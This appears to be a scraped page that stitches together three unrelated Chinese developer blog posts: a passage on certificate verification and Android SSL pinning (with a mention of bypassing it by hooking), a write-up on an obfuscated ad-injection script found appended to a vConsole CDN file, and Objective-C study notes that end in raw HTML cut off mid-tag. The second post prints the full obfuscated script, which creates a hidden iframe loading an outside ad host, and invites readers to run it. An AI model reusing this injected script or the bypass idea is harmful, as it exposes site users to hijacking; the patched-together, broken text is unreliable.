1880:d=4 hl=4 l=260 cons: SEQUENCE
1884:d=5 hl=2 l=10 prim: OBJECT :1.3.6.1.4.1.11129.2.4.2
1896:d=5 hl=3 l=245 prim: OCTET STRING [HEX DUMP]:0481F200F0007600B21E05CC8BA2CD8A204E8766F92BB98A2520676BDAFA70E7B249532DEF8B905E000001742A06F9BD000004030047304502205BB262C173701DC2F4D182C34760FA693875B409B650DA2DBE966D80CB6EE9C8022100CFD52D39644158ED44F23ABE9B4746304D8CAB6A2D75DA92F0187E6688485A0D007600E712F2B0377E1A62FB8EC90C6184F1EA7B37CB561D11265BF3E0F34BF241546E000001742A06F9D2000004030047304502200B69DB8E9756FB698955FA04BF8467C80E7D22C2F364CD36DACDD72F52D1562B022100925882AA2314AAB3009F53A47D93CE377FCB2FCA6C1E563D4716ACEBF264E087
2144:d=1 hl=2 l=13 cons: SEQUENCE
2146:d=2 hl=2 l=9 prim: OBJECT :sha256WithRSAEncryption
2157:d=2 hl=2 l=0 prim: NULL
2159:d=1 hl=4 l=257 prim: BIT STRING
再看看RFC5280的定義:
Certificate ::=SEQUENCE {
tbsCertificate TBSCertificate,
signatureAlgorithm AlgorithmIdentifier,
signatureValue BIT STRING }
TBSCertificate ::=SEQUENCE {
version [0] EXPLICIT Version DEFAULT v1,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name,
validity Validity,
subject Name,
subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL,
-- If present, version MUST be v2 or v3
第二行就是TBSCertificate的位置和長度,真正用來計算摘要的部分,偏移是4,hl=4表示header長度是4,l=2136表示內容長度是2136,總長度是2140,我們用dd提取出這部分,并對輸出結果做SHA256摘要:
dd if=/Users/shunix/Downloads/\*.google.com.cer of=/Users/shunix/tmp/tbs skip=4 bs=1 count=2140
openssl dgst -sha256 ~/tmp/tbs
輸出如下:
SHA256(/Users/shunix/tmp/tbs)=cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505
而上面我們用公鑰解出來的摘要去掉前面的
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420
最后結果也是cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505,二者完全一致,說明最終實體證書沒有被篡改過。
而中間證書和根證書的校驗也是同樣的過程,這里就不贅述。根證書是自簽名的,甚至都可以不用簽名,因為根證書是內置到系統里的。
CA之所以不直接從根證書發布最終實體證書是因為這樣風險太大,一旦出現錯誤發布容易導致根證書不受信任,所以CA會從根證書發布中間證書,再從中間證書發布最終實體證書,完成自我隔離。當然,根證書也是有不被信任的先例的,比如Firefox和Chrome在2015年移除了對CNNIC根證書的信任,具體原因就不細講了。
綜上所述,有幾種情況SSL是無法保證安全的:
所以客戶端提供了一種額外的機制來保證HTTPS通信的安全,SSL Pinning,SSL Pinning又可以細分為Certificate Pinning和Public Key Pinning。
Certificate Pinning也就是證書鎖定,簡單來說就是把證書文件打包進安裝包,通過加載本地證書自定義TrustManager,進而創建自定義的SSLSocketFactory來完成的,這里貼一些關鍵代碼:
fun loadCertificate(): Certificate {
// 假設證書放在assets下
return BaseApplication.instance.assets
.open("shunix.cert").use { input ->
CertificateFactory.getInstance("X.509").generateCertificate(input)
}
}
fun getTrustManager(): TrustManager {
val keyStore=KeyStore.getInstance(KeyStore.getDefaultType()).apply {
setCertificateEntry("shunix", loadCertificate())
}
return TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()).run {
init(keyStore)
trustManagers[0]
}
}
fun getSSLSocketFactory(): SSLSocketFactory {
val sslContext=SSLContext.getInstance("TLS").apply {
init(null, arrayOf(getTrustManager()), null)
}
return sslContext.socketFactory
}
內置證書的方案存在一個問題,證書是會過期的,一般最終實體證書也就是一年的有效期,而中間證書和根證書有效期都是10年左右,超過絕大多數應用的生命周期了,所以一個比較簡單的做法是同時內置中間證書或者根證書作為子證書過期的應對方案。中間證書和根證書一般都是同一個機構的,所以選哪一個并沒有本質的區別,但是這樣在安全性上會有一定的妥協,可以參考前面提到的賽門鐵克和CNNIC證書,當根證書不被信任,一樣會出問題,還有就是如果更換證書的CA也是做不到的,局限性很大。
那么能不能只內置最終實體證書,同時能解決有效期的問題呢?很自然地會想到動態更新本地證書,那就帶來了另一個問題,如何保證本地證書更新的安全性呢?這是一個雞生蛋蛋生雞的問題,其實不講究點,更新證書的請求可以直接走沒有證書鎖定的HTTPS完成,因為HTTPS被劫持本身就是小概率情況。如果追求完美的話,有一個比較麻煩的解決方案,就是再打包一個自簽名的證書到安裝包,鎖定這個自簽名的證書來更新最終實體證書,自簽名證書有效期可以自定義,定的足夠長就好,當然服務端也需要做相應改造,是否需要這么嚴格的安全策略就看業務場景了。
Certificate Pinning實現過于繁瑣,同時局限性比較大,所以就有了鎖定Subject Public Key Info的實現。申請過證書的都知道,需要提供算法和公鑰,即使更換新證書,這兩個東西也是可以保持不變的,Android 7.0以上提供了非常方便的實現,只需要在res/xml/network_security_config.xml里加如下配置:
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config>
<domain includeSubdomains="true">example.com</domain>
<pin-set expiration="2018-01-01">
<pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
<!-- backup pin -->
<pin digest="SHA-256">fwza0LRMXouZHRC8Ei+4PyuldPDcf3UKgO/04cDM1oE=</pin>
</pin-set>
</domain-config>
</network-security-config>
可以參考Android官方文檔:https://developer.android.com/training/articles/security-config#CertificatePinning
這里pin的是Base64編碼后的Subject Public Key Info(SPKI)的哈希,具體生成方法可以參考Mozilla的文檔:https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning#Extracting_the_Base64_encoded_public_key_information
雖然基于公鑰的鎖定不存在證書過期的問題,但依然需要fallback策略,因為可能存在私鑰泄漏的情況下,這種情況下需要重新發布證書,公鑰私鑰都會改變。Android允許pin多個SPKI,只要符合一個就能正常通信,所以這里可以pin幾個CA的根證書或者中間證書的SPKI,會損失一點安全性,但是為私鑰泄漏的情況留下了操作空間。
即使做了SSL Pinning,依然有HTTPS被劫持,內容被篡改的可能,比如對于證書鎖定的方式,可以直接替換掉apk里的證書,再做重打包,對于公鑰鎖定的方式,可以通過hook RootTrustManager的方式直接繞過驗證。
服務端需要在業務上對客戶端請求做驗證,只依靠機制上的安全是不夠的,道高一尺魔高一丈,客戶端和服務端應該互不信任,對于輸入需要做足夠的校驗,這并不是一種overhead。
作者:SHUNIX
出處:https://shunix.com/ssl-pinning/
周,團隊里有個小伙伴負責的一個移動端項目在生產環境上出現了問題,雖然最終解決了,但我覺得這個問題非常典型,有必要在這里給廣大掘友分享一下。
生產上有客戶反饋在支付訂單的時候,跳轉到微信支付后,頁面就被斃掉了,無法支付。而且無法支付這個問題還不是所有用戶都會遇到,只是極個別的用戶會遇到。
下面是排查此問題時的步驟:
有意思的是,這段惡意腳本代碼不會一直存在。同樣一個地址,原頁面刷新后,里面的惡意腳本代碼就會消失。
感興趣的掘友可以在自己電腦上是試一試。vConsole地址 注意,如果在PC端下載此代碼,要先把模擬手機模式打開再下載,不然下載的源碼里不會有這個惡意腳本代碼。
下面的截圖是我在pc端瀏覽器上模擬手機模式,獲取到的vConsole源碼,我用紅框圈住的就是惡意代碼,它在vConsole源碼文件最下方注入了一段惡意代碼(廣告相關的代碼)。
這些惡意代碼都是經過加密的,把變量都加密成了十六進制的格式,僅有七十多行,有興趣的掘友可以把代碼拷貝到自己本地,嘗試執行一下。
全部代碼如下:
var _0x30f682=_0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2=_0x2e91
, _0x52ac4=_0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2=parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2===_0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));
var __encode=_0x30f682(0xd5)
, _a={}
, _0xb483=[_0x30f682(0xb5), _0x30f682(0xbf)];
(function(_0x352778) {
_0x352778[_0xb483[0x0]]=_0xb483[0x1];
}(_a));
var __Ox10e985=[_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '刪除', _0x30f682(0xd0), '期彈窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];
function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b=_0xabf8();
return _0x2e91=function(_0x2e910a, _0x2d0904) {
_0x2e910a=_0x2e910a - 0xb3;
var _0x5e433b=_0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}
window[__Ox10e985[0x0]]=function() {
var _0x48ab79=document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]]=__Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]]=__Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]]=__Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]]=__Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]]=__Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]]=__Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013=__Ox10e985[0x13],
_0x49aa51=function(_0x2c78b5) {
typeof alert !==_0x385013 && alert(_0x2c78b5);
;typeof console !==_0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e=function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55=_0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5=__encode,
!(typeof _0x2492c5 !==_0x385013 && _0x2492c5===_0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});
function _0xabf8() {
var _0x503a60=['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '還請支持我們的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本號,js會定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8=function() {
return _0x503a60;
}
;
return _0xabf8();
}
我在自己電腦上把這段代碼執行了一下,其實在頁面上用戶是無感的,因為創建的標簽都是隱藏起來的,只有打開調試工具才能看出來。
打開瀏覽器調試工具,查看頁面dom元素:
打開調試工具的網絡請求那一欄,發送無數個請求,甚至還有幾個socket鏈接...:
這就是為什么微信支付會把頁面斃掉的原因了,頁面只要加載了這段代碼,就會執行下面這個邏輯:
在這里不得不感嘆ChatGPT的強大(模型訓練的好),我把這段加密的代碼直接輸入進去,它給我翻譯出來了,雖然具體邏輯沒有翻譯出來,但已經很好了。
下面這個是中文版的:
下面是我對這次問題的一個總結:
作者:娜個小部呀
鏈接:https://juejin.cn/post/7343691521601781760
近在重溫這本OC經典之作《Effective Objective-C 2.0編寫高質量iOS與OS X代碼的52個有效方法》,這篇文章算是重溫之后的產物吧,讀完這篇文章你將快速讀完這本書,由于個人能力有限,難免有一些遺漏或者錯誤,請各位看官不吝賜教!謝謝!同時如果有任何問題也可以在下方留言,歡迎一起交流進步!另外由于篇幅原因,書中一些基礎知識的介紹文中就省略掉了。
目錄
上面就是這本書的目錄,可以點擊這里下載PDF版,原版英文版PDF我也有存~
第一章:熟悉Objective-C
第一條:了解Objective-C語言的起源
Objective-C從Smalltalk語言是從Smalltalk語言演化而來,
Smalltalk是消息語言的鼻祖。
Objective-C是C語言的超集,在C語言基礎上添加了面向對象等特性,可能一開始接觸時你會覺得語法有點奇怪,那是因為Objective-C使用了動態綁定的消息結構,而Java,C++等等語言使用的是函數調用。
消息結構與函數調用的關鍵區別在于:函數調用的語言,在編譯階段由編譯器生成一些虛方法表,在運行時從這個表找到所要執行的方法去執行。而使用了動態綁定的消息結構在運行時接到一條消息,接下來要執行什么代碼是運行期決定的,而不是編譯器。
第二條: 在類的文件中盡量少引用其他頭文件
如果需要引用一個類文件時,只是需要使用類名,不需要知道其中細節,可以用@class xx.h,這樣做的好處會減少一定的編譯時間。如果是用的#import全部導入的話,會出現a.h import了b.h,當c.h 又import a.h時,把b.h也都導入了,如果只是用到類名,真的比較浪費,也不夠優雅
有時候無法使用@class向前聲明,比如某個類要遵循一項協議,這個協議在另外一個類中聲明的,可以將協議這部分單獨放在一個頭文件,或者放在分類當中,以降低引用成本。
第三條:多用字面量語法,少用與之等價的方法
1.多使用字面量語法來創建字符串,數組,字典等。
傳統創建數組方法:
NSArray *languages=[NSArray arrayWithObjects:@
"PHP"
, @
"Objective-C"
, someObject, @
"Swift"
, @
"Python"
, nil];
NSString *Swift=[languages objectAtIndex:2];
NSDictionary *dict=[NSDictionary dictionaryWithObjectsAndKeys:@
"key"
, @
"value"
, nil];
NSString *value=[languages objectForKey:@
"key"
];
字面量:
NSArray *languages=@[@
"PHP"
, @
"Objective-C"
, someObject, @
"Swift"
, @
"Python"
];
NSString *Swift=languages[2];
NSDictionary *dict=@{@
"key"
: @
"value"
};
NSString *value=languages[@
"key"
];
這樣做的好處:使代碼更簡潔,易讀,也會避免nil問題。比如languages數據中 someObject 如果為nil時,字面量語法就會拋出異常,而使用傳統方法創建的languages數組值確是@[@"PHP", @"Objective-C"];因為字面量語法其實是一種語法糖,效果是先創建了一個數組,然后再把括號中的對象都加到數組中來。
不過字面量語法有一個小缺點就是創建的數組,字符串等等對象都是不可變的,如果想要可變的對象需要自己多執行一步mutableCopy,例如
NSMutableArray *languages=[@[@
"PHP"
, @
"Objective-C"
, @
"Swift"
, @
"Python"
] mutableCopy];
第四條:多用類型常量,少用#define預處理指令
第4條第5條看這里
第五條:多用枚舉表示狀態、選項、狀態碼
第4條第5條看這里
第二章:對象、消息、運行期
第六條:理解“屬性”這一概念
這一條講的是屬性的基本概念,以及屬性的各種修飾符,這些就不多啰嗦了,這里強調一下:
定義對外開放的屬性時候盡量做到暴露權限最小化,不希望被修改的屬性要加上readonly。
atomic 并不能保證多線程安全,例如一個線程連續多次讀取某個屬性的值,而同時還有別的線程在修改這個屬性值得時候,也還是一樣會讀到不同的值。atomic 的原理只是在 setter and getter 方法中加了一個@synchronized(self),所以iOS開發中屬性都要聲明為nonatomic,因為atomic嚴重影響了性能,但是在Mac OSX上開發卻通常不存在這個性能問題
說一下下面的哪個屬性聲明有問題
@property (nonatomic, strong) NSArray *arrayOfStrong;
@property (nonatomic, copy) NSArray *arrayOfCopy;
@property (nonatomic, strong) NSMutableArray *mutableArrayOfStrong;
@property (nonatomic, copy) NSMutableArray *mutableArrayOfCopy;
具體運行示例點擊查看
答案是正常應該這樣聲明
@property (nonatomic, copy) NSArray *arrayOfCopy;
@property (nonatomic, strong) NSMutableArray *mutableArrayOfStrong;
第七條:在對象內部盡量直接訪問實例變量
在類內讀取屬性的數據時,應該通過直接實例變量來讀,這樣不經過Objecit-C的方法派發,編譯器編譯后的代碼結果是直接訪問存實例變量的那塊內存中的值,而不會生成走方法派發的代碼,這樣的速度會更快。
給屬性寫入數據時,應該通過屬性的方式來寫入,這樣會調用setter 方法。但是在某種情況下初始化方法以及dealloc方法中,總是應該直接通過實例變量來讀寫數據,這樣做是為了避免子類復寫了setter方法造成的異常。
使用了懶加載的屬性,應該一直保持用屬性的方式來讀取寫入數據。
第八條:理解“對象等同性”這一概念
思考下面輸出什么?
NSString *aString=@
"iphone 8"
;
NSString *bString=[NSString stringWithFormat:@
"iphone %i"
, 8];
NSLog(@
"%d"
, [aString isEqual:bString]);
NSLog(@
"%d"
, [aString isEqualToString:bString]);
NSLog(@
"%d"
, aString==bString);
答案是110
==操作符只是比較了兩個指針,而不是指針所指的對象
第九條:以“類族模式”隱藏實現細節
為什么下面這段if 永遠為false
id maybeAnArray=@[];
if
([maybeAnArray class]==[NSArray class]) {
//Code will never be executed
}
因為[maybeAnArray class] 的返回永遠不會是NSArray,NSArray是一個類族,返回的值一直都是NSArray的實體子類。大部分collection類都是某個類族中的’抽象基類’
所以上面的if想要有機會執行的話要改成
id maybeAnArray=@[];
if
([maybeAnArray isKindOfClass [NSArray class]) {
//Code probably be executed
}
這樣判斷的意思是,maybeAnArray這個對象是否是NSArray類族中的一員
** 使用類族的好處:可以把實現細節隱藏再一套簡單的公共接口后面 **
第十條:在既有類中使用關聯對象存放自定義數據
這條講的是objc_setAssociatedObject和objc_getAssociatedObject,如何使用在這里就不多說了。值得強調的一點是,用關聯對象可能會引入難于查找的bug,畢竟是在runtime階段,所以可能要看情況謹慎選擇
第十一條:理解“objc_msgSend”的作用
之前在了解Objective-C語言的起源有提到過,Objective-C是用的消息結構。這條就是讓你理解一下怎么傳遞的消息。
在Objective-C中,如果向某個對象傳遞消息,那就會在運行時使用動態綁定(dynamic binding)機制來決定需要調用的方法。但是到了底層具體實現,卻是普通的C語言函數實現的。這個實現的函數就是objc_msgSend,該函數定義如下:
void objc_msgSend(id self, SEL cmd, ...)
這是一個參數個數可變的函數,第一參數代表接收者,第二個參數代表選擇子(OC函數名),后續的參數就是消息(OC函數調用)中的那些參數
舉例來說:
id
return
=[git commit:parameter];
上面的Objective-C方法在運行時會轉換成如下函數:
id
return
=objc_msgSend(git, @selector(commit), parameter);
objc_msgSend函數會在接收者所屬的類中搜尋其方法列表,如果能找到這個跟選擇子名稱相同的方法,就跳轉到其實現代碼,往下執行。若是當前類沒找到,那就沿著繼承體系繼續向上查找,等找到合適方法之后再跳轉 ,如果最終還是找不到,那就進入消息轉發的流程去進行處理了。
說過了OC的函數調用實現,你會覺得消息轉發要處理很多,尤其是在搜索上,幸運的是objc_msgSend在搜索這塊是有做緩存的,每個OC的類都有一塊這樣的緩存,objc_msgSend會將匹配結果緩存在快速映射表(fast map)中,這樣以來這個類一些頻繁調用的方法會出現在fast map 中,不用再去一遍一遍的在方法列表中搜索了。
還有一個有趣的點,就是在底層處理發送消息的時候,有用到尾調用優化,大概原理就是在函數末尾調用某個不含返回值函數時,編譯器會自動的不在棧空間上重新進行分配內存,而是直接釋放所有調用函數內部的局部變量,然后直接進入被調用函數的地址。
第十二條:理解消息轉發機制
關于這條這看看這篇文章:iOS理解Objective-C中消息轉發機制附Demo
第十三條:用“方法調配技術”調試“黑盒方法”
這條講的主要內容就是 Method Swizzling,通過運行時的一些操作可以用另外一份實現來替換掉原有的方法實現,往往被應用在向原有實現中添加新功能,比如擴展UIViewController,在viewDidLoad里面增加打印信息等。具體例子可以點擊我查看
第十四條:理解“類對象”的用意
Objective-C類是由Class類型來表示的,它實際上是一個指向objc_class結構體的指針。它的定義如下:
typedef struct objc_class *Class;
在中能看到他的實現:
struct objc_class {
Class isa OBJC_ISA_AVAILABILITY;
///< 指向metaClass(元類)
#if !__OBJC2__
Class super_class OBJC2_UNAVAILABLE;
///< 父類
const char *name OBJC2_UNAVAILABLE;
///< 類名
long version OBJC2_UNAVAILABLE;
///< 類的版本信息,默認為0
long info OBJC2_UNAVAILABLE;
///< 類信息,供運行期使用的一些位標識
long instance_size OBJC2_UNAVAILABLE;
///< 該類的實例變量大小
struct objc_ivar_list *ivars OBJC2_UNAVAILABLE;
///< 該類的成員變量鏈表
struct objc_method_list **methodLists OBJC2_UNAVAILABLE;
///< 方法定義的鏈表
struct objc_cache *cache OBJC2_UNAVAILABLE;
///< 方法緩存
struct objc_protocol_list *protocols OBJC2_UNAVAILABLE;
///< 協議鏈表
#endif
} OBJC2_UNAVAILABLE;
此結構體存放的是類的“元數據”(metadata),例如類的實例實現了幾個方法,具備多少實例變量等信息。
這里的isa指針指向的是另外一個類叫做元類(metaClass)。那什么是元類呢?元類是類對象的類。也可以換一種容易理解的說法:
當你給對象發送消息時,runtime處理時是在這個對象的類的方法列表中尋找
當你給類發消息時,runtime處理時是在這個類的元類的方法列表中尋找
我們來看一個很經典的圖來加深理解:
可以總結為下:
每一個Class都有一個isa指針指向一個唯一的Meta Class
每一個Meta Class的isa指針都指向最上層的Meta Class,這個Meta Class是NSObject的Meta Class。(包括NSObject的Meta Class的isa指針也是指向的NSObject的Meta Class,也就是自己,這里形成了個閉環)
每一個Meta Class的super class指針指向它原本Class的 Super Class的Meta Class (這里最上層的NSObject的Meta Class的super class指針還是指向自己)
最上層的NSObject Class的super class指向 nil
第三章:接口與API設計
第十五條:用前綴避免命名空間沖突
Objective-C沒有類似其他語言那樣的命名空間機制(namespace),比如說PHP中的
<!--?php
namespace Root\Sub\subnamespace;</pre--><p>這就會導致當你不小心實現了兩個相同名字的類,或者把兩個相對獨立的庫導入項目時而他們又恰好有重名的類的時候該類所對應的符號和Meta Class符號定義了兩次。所以很容易產生這種命名沖突,讓程序的鏈接過程中出現出現重復的符號造成報錯。</p><p>為了避免這種情況,我們要盡量在類名,以及分類和分類方法上增加前綴,還有一些宏定義等等根據自己項目來定吧</p><p><span style=
"font-size: 20px;"
><strong>第十六條:提供“全能初始化方法”</strong></span></p><p>如果創建類的實例的方式不止一種,那么這個類就會有多個初始化方法,這樣做很好,不過還是要在其中選定一個方法作為全能初始化方法,剩下的其余的初始化方法都要調用它,這樣做的好處是以后如果初始化的邏輯更改了只需更改一處即可,或者是交給子類覆寫的時候也只覆寫這一個方法即可~</p><p>舉個例子來說:可以看一下NSDate的實現在NSDate.h中NSDate類中定義了一個全能初始化方法:</p><pre class=
"brush:js;toolbar:false"
>- (instancetype)initWithTimeIntervalSinceReferenceDate:(NSTimeInterval)ti NS_DESIGNATED_INITIALIZER;</pre><p>其余的類似初始化方式定義在NSDate (NSDateCreation) 分類中</p><pre class=
"brush:js;toolbar:false"
>- (instancetype)initWithTimeIntervalSinceNow:(NSTimeInterval)secs;
- (instancetype)initWithTimeIntervalSince1970:(NSTimeInterval)secs;
- (instancetype)initWithTimeInterval:(NSTimeInterval)secsToBeAdded sinceDate:(NSDate *)date;</pre><p>在NSDate文檔中有一條:If you want to subclass NSDate to obtain behavior different than that provided by the private or public subclasses, you must
do
these things:然后其中要做的有一步就是</p><pre class=
"brush:js;toolbar:false"
>Override [initWithTimeIntervalSinceReferenceDate:
](apple-reference-documentation:
//hcslylvSCo), one of the designated initializer methods`</pre><p>這個是我們組織代碼過程中應該學習的地方!</p><p><span style="font-size: 20px;"><strong>第十七條:實現description方法</strong></span></p><p>這條講的是可以通過覆寫description方法或者debugDescription方法來在NSLog打印時或者LLDB打印時輸出更多的自定義信息。(數據和字典的可以通過覆寫descriptionWithLocale:方法)</p><p>友情提示:不要在description中使用 NSLog("%@",self);,不然會掉進無底深淵啊</p><p>這里我有一個有趣的想法,不過還沒完全實現,就是想通過覆寫description能把任何一個對象的屬性值名稱,屬性值都一一完整的記錄下來,<a target="_blank">可以點擊查看</a></p><p><span style="font-size: 20px;"><strong>第十八條:盡量使用不可變對象</strong></span></p><p>這條主要講盡量使用不可變的對象,也就是在對外屬性聲明的時候要盡量加上readonly修飾,默認是readwrite,這樣一來,在外部就只能讀取該數據,而不能修改它,使得這個類的實例所持有的數據更加安全。如果外部想要修改,可以提供方法來進行修改。</p><p>不要把可變的collection作為屬性公開,而應提供相關方法,以此修改對象中的可變collection(這條個人感覺一般在常用、重要的類才有必要,畢竟也增加了不少代碼量)</p><p>比如例子:</p><pre class="brush:js;toolbar:false;">//Language.h
@property (nonatomic, strong) NSSet *set;</pre><p>應該改為</p><pre class=
"brush:js;toolbar:false"
>
//Language.h
@property (nonatomic, strong, readonly) NSSet *languages;
- (void)addLanguage:(NSString *)language;
- (void)removeLanguage:(NSString *)language;
//**.m
@implementation Language {
NSMutableSet *mutableLanguages;
}
- (NSSet *)languages {
return
[_mutableLanguages copy];
}
- (void)addLanguage:(NSString *)language {
[_mutableLanguages addObject:language];
}
- (void)removeLanguage:(NSString *)language {
[_mutableLanguages removeObject:language];
}</pre><p><span style=
"font-size: 20px;"
><strong>第十九條:使用清晰而協調的命名方式</strong></span></p><p>這條不用太強調了,具體也可以參照一下我之前擬的<a href=
"http://www.jianshu.com/p/bbb0b57eb168"
target=
"_blank"
>Objective-C編程規范及建議</a>,后續可能會不斷補充更新</p><p><span style=
"font-size: 20px;"
><strong>第二十條:為私有方法名加前綴</strong></span></p><p>這條講的是應該為類內的私有方法增加前綴,以便區分,這個感覺因人而異吧,感覺只要你不隨便把私有方法暴露在.h文件都能接受,曾遇到過這樣的同事,感覺其不太適合寫程序吧。</p><p><span style=
"font-size: 20px;"
><strong>第二十一條:理解Objective-C錯誤模型</strong></span></p><p>很多語言都有異常處理機制,Objective-C也不例外,Objective-C也有類似的@
throw
,不過在OC中使用@
throw
可能會導致內存泄漏,可能是它被設計的使用場景的問題。建議@
throw
只用來處理嚴重錯誤,也可以理解為致命錯誤(fatal error),那么處理一般錯誤的時候(nonfatal error)時可以使用NSError。</p><p><span style=
"font-size: 20px;"
><strong>第二十二條:理解NSCopying協議</strong></span></p><p>在OC開發中,使用對象時經常需要拷貝它,我們會通過copy/mutbleCopy來完成。如果想讓自己的類支持拷貝,那必須要實現NSCopying協議,只需要實現一個方法:</p><pre class=
"brush:js;toolbar:false"
>- (id)copyWithZone:(NSZone*)zone</pre><p>當然如果要求返回對象是可變的類型就要用到NSMutableCopying協議,相應方法</p><pre class=
"brush:js;toolbar:false"
>- (id)mutableCopyWithZone:(NSZone *)zone</pre><p>在拷貝對象時,需要注意拷貝執行的是淺拷貝還是深拷貝。深拷貝在拷貝對象時,會將對象的底層數據也進行了拷貝。淺拷貝是創建了一個新的對象指向要拷貝的內容。一般情況應該盡量執行淺拷貝。</p><p><span style=
"font-size: 24px;"
><strong>第四章:協議與分類</strong></span></p><p><span style=
"font-size: 20px;"
><strong>第二十三條:通過委托與數據源協議進行對象間通信</strong></span></p><p>這條講的也比較基礎,就是基本的delegate,protocal使用。</p><p>有一點稍微說一下:當某對象需要從另外一個對象中獲取數據時,可以使用委托模式,這種用法經常被稱為“數據源協議”(Data source Protocal)類似 UITableview的UITableViewDataSource</p><p>另外在Swift中有一個很重要的思想就是面向協議編程。當然OC中也可以用協議來降低代碼耦合性,必要的時候也可以替代繼承,因為遵循同一個協議的類可以是任何,不必是同一個繼承體系下。</p><p><strong><span style=
"font-size: 20px;"
>第二十四條:將類的實現代碼分散到便于管理的數個分類之中</span></strong></p><p>這條主要說的是通過分類機制,可以把類分成很多歌易于管理的小塊。也是有一些前提的吧,可能是這個類業務比較復雜,需要瘦身,需要解耦等等。作者還推薦把私有方法統一放在Private分類中,以隱藏實現細節。這個個人覺得視情況而定吧。</p><p><span style=
"font-size: 20px;"
><strong>第二十五條:總是為第三方類的分類名稱加前綴</strong></span></p><p>向第三方類的分類名稱加上你專用的前綴,這點不必多說,????</p><p><span style=
"font-size: 20px;"
><strong>第二十六條:勿在分類中聲明屬性</strong></span></p><p>不要在分類中聲明屬性,除了“class-continuation”分類中。那什么是“class-continuation”分類呢,其實就是我們經常在.m文件中用到的,例如:</p><pre class=
"brush:js;toolbar:false"
>//Swift.m
@interface Swift ()
//這個就是“class-continuation”分類
@end
@implementation Swift
@end</pre><p><span style=
"font-size: 18px;"
><strong>第二十七條:使用“class-continuation”分類隱藏實現細節</strong></span></p><p>這條跟之前的也有點重復,最終目的還是要盡量在公共接口中向外暴露的內容最小化,隱藏實現細節,只告訴怎么調用,怎么使用即可。具體實現以及屬性的可修改權限盡可能的隱藏掉。</p><p><span style=
"font-size: 20px;"
